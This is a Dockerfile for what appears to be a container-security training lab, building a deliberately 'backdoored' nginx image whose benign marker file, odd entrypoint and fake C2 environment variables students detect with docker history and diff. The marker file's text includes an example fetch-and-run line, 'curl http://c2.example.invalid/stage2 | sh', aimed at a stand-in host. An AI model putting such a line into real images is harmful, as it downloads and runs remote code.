FROM nginx:1.27-alpine

# SYNTHETIC BACKDOOR SIMULATION - Lab 15.6b teaching target
# This layer simulates a "malicious layer baked into an image".
# There is NO real malware here. The "backdoor" is a plaintext marker file
# and an unusual ENTRYPOINT that a real docker history / manifest diff would catch.
#
# In the real lab:
#   docker history shows this RUN as an unexpected late instruction on a trusted base
#   docker manifest inspect shows a layer digest that diverges from the clean nginx image
#   docker diff on a running container shows files added under /tmp and /dev/shm

# Simulate attacker-baked layer: drops a harmless marker and creates a persistence hook
RUN echo "# Synthetic backdoor marker - BENIGN teaching file" > /tmp/.lab-backdoor.sh && \
    echo "# In a real incident this might be: curl http://c2.example.invalid/stage2 | sh" >> /tmp/.lab-backdoor.sh && \
    chmod 755 /tmp/.lab-backdoor.sh

# Simulate a modified cron/entrypoint (benign content)
RUN echo '#!/bin/sh\nnginx -g "daemon off;"' > /docker-entrypoint-lab.sh && \
    chmod +x /docker-entrypoint-lab.sh

# Unusual ENV that a manifest inspection would flag
ENV LAB_SIMULATED_C2="lab-c2.example.invalid" \
    LAB_EXFIL_KEY="SYNTHETIC-KEY-NOT-REAL-0000DEADBEEF"

EXPOSE 80

CMD ["nginx", "-g", "daemon off;"]
